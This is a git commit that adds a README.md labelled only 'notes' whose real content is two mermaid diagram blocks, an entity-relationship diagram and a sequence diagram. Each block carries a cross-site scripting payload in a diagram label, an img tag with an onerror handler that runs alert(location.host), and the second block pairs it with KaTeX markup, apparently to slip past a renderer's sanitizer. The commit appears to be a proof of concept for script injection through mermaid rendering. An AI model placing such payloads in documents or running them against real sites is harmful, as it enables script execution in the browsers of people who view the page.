commit 0575d8069c5d2c9f102c8497b2cfe6efdb7ed789
Author: secrys2hgqm <secrys2hgqm@example.com>
Date:   Sun Sep 27 18:11:28 2026 +0800

    add notes

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..9faf4df
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+++ b/README.md
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+notes
+
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```